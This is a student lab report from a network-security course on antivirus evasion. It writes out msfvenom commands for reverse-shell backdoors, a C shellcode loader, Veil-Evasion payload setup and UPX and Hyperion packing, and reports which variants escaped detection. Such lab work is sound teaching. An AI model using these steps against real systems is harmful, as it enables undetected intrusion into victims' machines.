20181224蒋嘉豪-exp3-免杀原理与实现

课上知识点总结

1.恶意软件检测机制

  • 基于特征码的检测(需要定期更新病毒库)
  • 启发式恶意软件检测(实时监控,开销较大)
  • 基于行为的恶意软件检测(如API监控)

2.免杀技术综述

  • 改变特征码

    • 加壳(拥有.exe文件)

      • 压缩壳
      • 加密壳
    • shellcode+encoder
    • 重写重编译(veil-evasion或者手工)
    • 半手工化(主流)
  • 改变行为
    • 通讯方式

      • 尽量使用反弹式连接
      • 使用隧道技术
      • 加密通讯数据(如https)
    • 操作系统
      • 基于内存操作
      • 减少对系统的修改
      • 加入混淆作用的正常功能代码

Exp3.1 能够正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,加壳工具,使用shellcode编程。

3.1.1正确使用msf编码器并使用msfvenom生成文件

实验思路:msf在上次实验生成后门程序中已经使用过,所以在此实验中我进一步了解了msf各个参数的作用,以及加入了使用VirusTotalVirscan进行检测。

  • msf中的使用的参数(参考博客

    • -p

      指定需要使用的payload(攻击载荷)

      • 查看msf可用的payload列表:msfvenom -l payload
      • msfvenom生成各类Payload命令(详见博客)这个对之后的实验有帮助
    • -f

      指定payload的输出格式

      • 产看msf支持的输出格式:msfvenom --list formats
    • -e

      指定需要使用的encoder(编码器)

      • 查看可用的编码器:msfvenom -l encoder
    • -b生成的文件中不存在-b之后指定的内容

    • -i num指定编码器迭代的次数

  • 利用msf生成.exe文件并进行测试

    • 生成.exe文件
    msfvenom -p windows/meterpreter/reverse_tcp HOST = 192.168.187.136 PORT = 1224 -f exe > backdoor.exe

  • 利用VirusTotal进行测试





由图可知,在69个软件中有52个软件报错,比例还是很高的。

  • 测试是否可以在windows下实现免杀,显然是不行的



  • 利用msf生成.jar文件并进行测试

    • 生成.jar文件:
    msfvenom -p java/meterpreter/reverse_tcp -e x86/opt_sub  -i 4  HOST = 172.16.228.63 PORT = 1224 -f jar > backdoor.jar //使用x86/opt_sub编译器并迭代4次



    • 利用VirusTotal进行测试





      使用编译器和迭代的效果不是很大。

    • 测试是否可以在windows下实现免杀,不能。







  • 利用msf生成.py文件并进行测试

    • 生成.py文件:
    msfvenom -p cmd/unix/reverse_python  HOST = 172.16.228.63 PORT = 1224 -f raw > backdoor.py



    • 利用VirusTotal进行测试



    • 测试是否可以在windows下实现免杀,实现免杀。



3.1.2使用veil-Evasion生成后门程序及检测

  • 安装Veil-Evasion

    https://www.cnblogs.com/orii/p/12564504.html

    安装veil的方法大致有三种,我感觉能安装上只能随缘(捂脸),其中:

    安装git:sudo apt-get -y install git

    下载Veil-Evasion:git clone https://github.com/Veil-Framework/Veil-Evasion.git

    把Veil-Evasion移动到opt(随你选择)目录下:mv Veil-Evasion /opt

    进入Veil-Evasion所在目录:cd /opt/Veil-Evasion/

    启动bash脚本进行安装:bash setup/setup.sh -s

    此方法由于GitHub的不稳定等因素,不推荐使用。其次是(hyxjyyds)

    step1:apt-get install veil

    step2:使用命令cd /usr/share/veil/config/进入该文件夹,使用ls查看该文件夹的内容

    step3:使用命令vim setup.sh编辑文件,第251行把github仓库改成码云的仓库,https://gitee.com/spears/VeilDependencies.git

    step4:命令行输入veil,所有安装默认

    这是我最终成功的方法,但是要注意,一定要提前换源,否则安装的过程会卡住(我换的是中科大的源,换源后kali2020.4会出现一些问题,我们后面在说)。

    此处一定要注意,若安装到一半未成功要养成好习惯,清除已经安装好的东西,否则到最后会出现一些始料未及的bug(最终我重装了kali)。





    ​ 错误时刻





​ 成功啦!!!

  • 输入use evasion进入Veil-Evasion
  • 输入use c/meterpreter/rev_tcp.py进入配置界面
  • 设置反弹连接IP,应当输入ip_of_linuxset LHOST 192.168.160.142
  • 设置端口:set LPORT 1224
  • 输入generate生成后门程序文件,而后输入其名字,我这里是:jjh20181224
  • 成功截图如下:



  • 根据它的提示,进入/var/lib/veil/output/compiled/中即可找到所生成的后门程序:jjh20181224.exe
  • 把它传到主机,发现杀软并未扫描出来:







  • 上传至平台进行扫描,结果如下:



3.1.3利用shellcode编程

  • 使用msf生成一段c语言格式的shellcode数组
msfvenom -p windows/meterpreter/reverse_tcp HOST=192.168.3.24 PORT=1224 -f c



  • 创建20181224.c文件,将shellcode转化为函数进行调用
此处为shellcode
int main()
{
int (*func)() = (int(*)())buf;
func();
}
  • 交叉编译:i686-w64-mingw32-g++ 2018124.c -o 20181224.exe



  • 利用VirusTotal进行测试



  • 使用ncat将kail下20181224.exe文件

    传送给windows并尝试回连(开启windows defender开启状态下)

    • windows:ncat.exe -l -p 1224 > 20181224.exe

    • linux:nc 192.168.3.24 < 20181224.exe

    • 结果



3.1.4加壳工具其他方法

  • 压缩壳(以UPX为例)

    • 对已经生成的20181224.exe进行压缩:upx 20181224.exe -o jjh_upxed.exe



    • 利用VirusTotal进行测试



    • 测试下在windows下,smile again



  • 加密壳(以Hyperion为例)

    • 将已经生成的jjh_upxed.exe复制到/usr/share/windows-resources/hyperion/

    • 进入/usr/share/windows-resources/hyperion/

    • 进行加壳:wine hyperion.exe -v jjh_upxed.exe jjh_upxed_Hyperion.exe



    • 利用VirusTotal进行测试



    • 在windows下进行测试。



3.2其他方法

  • 这里用一个Veil-Evasion的其他荷载生成后门方式

    • 启动veil,进入evasion,输入list查看可用的有效荷载,如下:



  • 此时我选择了第29个荷载,是Python下shellcode在AES下加密一种。
  • 输入option,查看有效荷载的选项,如下:



  • 从上面可以清楚看到29号payload有很多选项,在这个界面,我们可以对该 payload 进行一些基本的配置。例如:编译后生成文件的格式有效期,并是否进行加密做出配置。
  • 我这里只配置了用户名,然后就generate生成了.
    • 之后它会提示你输入想要选择的shellcode平台,选择2msfvenom,一会儿我们用msfconsole进行反弹连接.
    • 输入靶机OS/平台/连接方式,默认的,回车就行
    • 输入metasploit荷载,同上
    • 输入反弹连接IP(ip_of_linux)和端口号
    • 其他msfvenom选项默认,回车就行

实验总结与体会

  • 实验感想

本次实验面向实际,我通过参考学长学姐的博客,实现了几种免杀方案,不得不说,我们计算机上的杀软还有待提高。在了解了后门软件的基本原理后,我对信息安全有了更深刻的认识。在此次实验中,我耗费时间最多的是装Veil!!!不得不说这东西安装好,能一直用只能随缘,安装前一定要换源,安装失败也不能慌乱要完成各个步骤,安装成功也不能太放松,因为它随时都可能用不了了。

  • 基于特征码
  • 实时监控
  • 基于行为的恶意软件检测
  • 免杀是做什么?

可以实现杀毒软件不发现、扫描不出病毒代码。

  • 免杀的基本方法有哪些
  • 改变特征码

    • 加壳
    • shellcode+encoder
    • veil-evasion
    • 半手工化
  • 改变行为
    • 通讯方式

      • 尽量使用反弹式连接
      • 使用隧道技术
      • 加密通讯数据
    • 操作系统
      • 基于内存操作
      • 减少对系统的修改
      • 加入混淆作用的正常功能代码
  • 杀软是如何检测出恶意代码的?
  • 基于特征码
  • 实时监控
  • 基于行为的恶意软件检测
  • 免杀是做什么?

可以实现杀毒软件不发现、扫描不出病毒代码。

  • 免杀的基本方法有哪些
  • 改变特征码

    • 加壳
    • shellcode+encoder
    • veil-evasion
    • 半手工化
  • 改变行为
    • 通讯方式

      • 尽量使用反弹式连接
      • 使用隧道技术
      • 加密通讯数据
    • 操作系统
      • 基于内存操作
      • 减少对系统的修改
      • 加入混淆作用的正常功能代码
  • 开启杀软能绝对防止电脑中恶意代码吗

通过做实验实现了免杀,显然杀软不能绝对防止恶意代码

20181224蒋嘉豪-exp3-免杀原理与实现的更多相关文章

  1. 2018-2019-2 网络对抗技术 20165232 Exp3 免杀原理与实践

    2018-2019-2 网络对抗技术 20165232 Exp3 免杀原理与实践 免杀原理及基础问题回答 一.免杀原理 一般是对恶意软件做处理,让它不被杀毒软件所检测.也是渗透测试中需要使用到的技术. ...

  2. 2018-2019-2 网络对抗技术 20165237 Exp3 免杀原理与实践

    2018-2019-2 网络对抗技术 20165237 Exp3 免杀原理与实践 一.实践目标 1.1 正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,加壳 ...

  3. 2018-2019-2 网络对抗技术 20165221 Exp3 免杀原理与实践

    2018-2019-2 网络对抗技术 20165221 Exp3 免杀原理与实践 基础问题回答 杀软是如何检测出恶意代码的? 主要依托三种恶意软件检测机制. 基于特征码的检测:一段特征码就是一段或者多 ...

  4. 2018-2019-2 网络对抗技术 20165325 Exp3 免杀原理与实践

    2018-2019-2 网络对抗技术 20165325 Exp3 免杀原理与实践 实验内容(概要) 一.正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,自己 ...

  5. 2018-2019-2 网络对抗技术 20165206 Exp3 免杀原理与实践

    - 2018-2019-2 网络对抗技术 20165206 Exp3 免杀原理与实践 - 实验任务 1 正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,自己 ...

  6. 2018-2019-3 网络对抗技术 20165235 Exp3 免杀原理与实践

    2018-2019-3 网络对抗技术 20165235 Exp3 免杀原理与实践 基础问题回答 杀软是如何检测出恶意代码的? 1.对某个文件的特征码进行分析,(特征码就是一类恶意文件中经常出现的一段代 ...

  7. 2018-2019-2 网络对抗技术 20165311 Exp3 免杀原理与实践

    2018-2019-2 网络对抗技术 20165311 Exp3 免杀原理与实践 免杀原理及基础问题回答 实验内容 任务一:正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil- ...

  8. 2018-2019-2 网络对抗技术 20165317 Exp3 免杀原理与实践

    2018-2019-2 网络对抗技术 20165317 Exp3 免杀原理与实践 实验内容 任务一:正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,自己利用 ...

  9. 2018-2019-2 网络对抗技术 20165225 Exp3 免杀原理与实践

    2018-2019-2 网络对抗技术 20165225 Exp3 免杀原理与实践 一.实验说明 1.1 正确使用msf编码器(0.5分),msfvenom生成如jar之类的其他文件(0.5分),vei ...

  10. 2018-2019-2 网络对抗技术 20165336 Exp3 免杀原理与实践

    2018-2019-2 网络对抗技术 20165336 Exp3 免杀原理与实践 1.基础问题回答 (1)杀软是如何检测出恶意代码的? 根据计算机病毒课程知道了每个病毒都有其对应的特征码,杀软是根据这 ...

随机推荐

  1. 从零搭建hadoop集群之安装jdk

    卸载系统自带的OpenJDK以及相关的java文件 1. 查询系统自带的OpenJDK版本信息 [root@hadoop01 ~]# java -version #查询系统自带的OpenJDK版本信息 ...

  2. STP协议-基础

    生成树协议 一 .技术背景一个缺乏冗余性设计的网络:任何一个网络节点出现故障,会造成单链路故障.单设备故障,使整个网络瘫痪. 引入冗余性的同时也引入了二层环路:网络的冗余性增强了,但是却出现了二层环路 ...

  3. task host window阻止关机

    在该方法中遇到的问题: 我的电脑是惠普暗影精灵5air,64位的,按照该操作没有效果.这一步中新建的dword默认是32位的,改成新建qword就没有问题了,个人猜测是由于位数不合适的原因造成的. 还 ...

  4. homebrew 安装node 切换node版本

    注意:如果之前使用brew install node安装过node,需要先执行brew unlink node来'解绑'node 1.查找可用的node版本 brew search node 2.安装 ...

  5. 可汗儿童版kids安卓版下载安装教程

    可汗儿童版kids安卓版幼儿版下载安装教程 点击下面 http://vip.ho27.com/Khan.apk 备用下载链接 天翼网盘下载安装就行 https://cloud.189.cn/t/6RV ...

  6. Git中常见的一些问题总结

    Git中常见的一些问题总结 目录 Git中常见的一些问题总结 1.git添加到暂存区的修改,如果不想要了,怎么撤销 2.git添加到本地仓库,如果不想要了,怎么撤销 3.提交代码时发现别人已经提交了( ...

  7. C语言学习--指针数组

    #include<stdio.h> //指针数组, 数组里面的每一个元素都是指针 int main() { int a = 10; int b = 20; int c = 30; // i ...

  8. springboot+mybais配置多数据源(分包实现)

    一.分包方式实现: 1.在application.properties中配置两个数据库: #druid连接池 #dataSoureOne(这里是我本地的数据源) spring.datasource.o ...

  9. XJTUOJ #1323. [L2-2]三倍满世界

    题目 https://oj.xjtuicpc.com/problem/1323 思路 题目说明有点绕. 然后我们仔细观察一下,这个东西很显然是一个天然的树形结构. 我们可以把一个空间(或者一个数)当成 ...

  10. ratel hook app

    目录 创建平头哥项目 创建一个基本的Android项目 手动创建一个平头哥项目(windows推荐) 通过模板的方式创建平头哥项目(windows不推荐) 插入第三方集成模块 RPC调用 RPC调用静 ...